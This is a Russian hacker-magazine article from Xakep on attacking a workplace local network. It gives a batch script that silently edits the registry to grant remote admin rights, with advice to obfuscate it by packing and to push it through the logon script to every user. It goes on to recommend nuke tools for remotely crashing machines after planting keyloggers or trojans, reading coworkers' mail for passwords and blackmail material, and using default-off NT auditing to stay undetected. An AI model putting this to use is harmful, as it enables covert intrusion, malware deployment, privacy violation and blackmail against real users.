Основы выживания в локальной сети
Xakep, номер #034, стр. 034-042-5
if exist c:\windows\system\share.vxd goto exit
@C:
@cd \Windows\system
@echo REGEDIT4 > test1.vxd
@echo [HKEY_LOCAL_MACHINE\Security\Access\Admin\Remote] > test2.vxd
@echo "YOUR_DOMAIN\\DOMAIN ADMINS"=hex:ff,00 > test3.vxd
@echo [HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System] > test4.vxd
@echo "NoAdminPage"=dword:00000001 > test5.vxd
@copy test1.vxd+test2.vxd+test3.vxd+test4.vxd+test5.vxd share.vxd >nul
@del test*.vxd >nul
@regedit /s share.vxd
:exit
Коряво, наверное, но это в основном РАБОТАЕТ. Обработать bat2com-ом, потом сом2ехе, следом pklite c максимальной компрессией (unextractable). Это нужно для того, чтобы не было понятно, что это "чудо программистской мысли" все-таки делает :). По совету вирусописателей после забить нулями заголовок с текстом про pklite. Здесь все-таки больше подойдет программа именно под дос, т.к. не вызывает особых подозрений при загрузке из батника.
Можно, конечно, всадить это все (правку реестра) либо в инсталлятор, либо еще куда, можно просто написать программу на нормальном языке. Но случай со скриптом наиболее действенный и глобальный, т.к. пропатчатся ВСЕ, кто вошел в сеть... Естественно, в батник можно воткнуть все что угодно... Хоть format D :).
Локальные конфликты
Хорошо зарекомендовал себя voidozer для 98-х и обычный нюк для 95-х. Странно, но voidozer оказался бесполезен против 95-х непатченных виндов! Пришлось качать старый добрый winnuke :). Лично я употребляю их в качестве remote shutdown-a для 98-95 (например, когда ты подсадил через шару кейлоггер либо трояна и не хочешь ждать, когда юзер сам перезагрузится, - тебе не терпится почитать, что он там пишет подружкам :).
Почта
Вместе с правами администратора ты получил универсальный ключ к почтовым ящикам. Рекомендую иногда туда заглядывать, там бывает много интересного - в том числе пароли, а также любовная переписка и прочие тайны. Юзеры часто доверчивы и думают, что никто их почту не читает :). Разве плохо знать, что твой шеф трахает вон ту девицу из бухгалтерии, иногда это может быть самым весомым аргументом в споре с ним :). Скорее всего нужно будет поставить себе программу управления почтовым сервером и юзать ее с правами админа (вообще про почту отдельный разговор, так как все зависит от конкретного случая).
Личная безопасность
Локалка это не iNet, и найти виновника гораздо проще, если администратор не спит, не пьян и не под наркозом (хочется добавить - и не в танке!). Тем более, что NT ведет лог, который кличут eventlog и который фиксирует действия пользователей и системные события. Однако не все так страшно: по умолчанию самый гнусный с нашей точки зрения security log не включен, и в этом случае мы можем делать все что угодно. Я еще раз подчеркиваю - по умолчанию, это довольно часто встречающаяся установка. Включается security log при помощи так называемого аудита, он описывает, какие действия и события фиксировать в журнале. Но особо наглые действия вносятся и в SYSTEM LOG, например, некто подключил себе чужой почтовый ящик в MS Exchange. Но им можно управлять, как и всем остальным, удаленно. Делается это при помощи стандартной опции "Управление компьютером".
